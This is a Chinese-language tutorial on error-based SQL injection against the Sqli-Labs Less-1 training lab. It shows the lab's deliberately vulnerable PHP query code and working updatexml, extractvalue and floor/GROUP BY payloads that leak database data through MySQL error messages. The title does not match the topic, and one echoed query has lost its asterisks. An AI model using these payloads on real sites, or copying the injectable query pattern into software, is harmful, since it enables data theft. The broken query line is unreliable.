DNSlog盲注
概述
与union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。
注入原理
后端代码
使用场景
具体步骤
注入原理
报错注入(Sqli-Labs Less-1)
概述
与Union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。
报错注入也称之为公式化注入方式。
注入原理
利用数据库的某些机制,人为制造错误条件,在错误信息中执行SQL语句,使得查询结果能够出现在错误信息中。
后端代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
使用场景
注入使用的成本比Union联合查询注入低(Union查询注入花费更多时间或者是无法使用)。
数据库中sql语句的报错信息,会显示在页面中。
判断是否存在报错注入
只需得知网页是否会返回MySQL报错信息
具体步骤(实例)
SQL语句为 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
updatexml()
注入格式为 update(1 , concat(0x7e , (SQL语句) , 0x7e) , 1)
// 传入id=1' and (updatexml(1 , concat(0x7e , (select user()) , 0x7e) , 1)); --+
$sql="SELECT * FROM users WHERE id='1' and (updatexml(1 , concat(0x7e , (select user()) , 0x7e) , 1)); --+' LIMIT 0,1";
# 返回 XPATH syntax error: '~root@localhost~'
extractvalue()
注入格式为 extractvalue(1,concat(0x7e , (SQL语句) , 0x7e))
// 传入 id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)); --+
$sql="SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select user()),0x7e)); --+' LIMIT 0,1";
# 返回 XPATH syntax error: '~root@localhost~'
floor()
注入格式为 floor(rand(0)*2)
主要利用原理是主键重复,因为
floor(rand(0)*2)
的重复性。导致 group by 语句出错。 group by key 的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据
// 传入 id=1' and (select 1 from (select count(*) , concat(user() , floor(rand(0) * 2)) x from information_schema.tables group by x) a) --+
$sql="SELECT FROM users WHERE id='1' and (select 1 from (select count() , concat(user() , floor(rand(0) * 2)) x from information_schema.tables group by x) a) --+' LIMIT 0,1";
# 返回 Duplicate entry 'root@localhost1' for key 'group_key'
参与讨论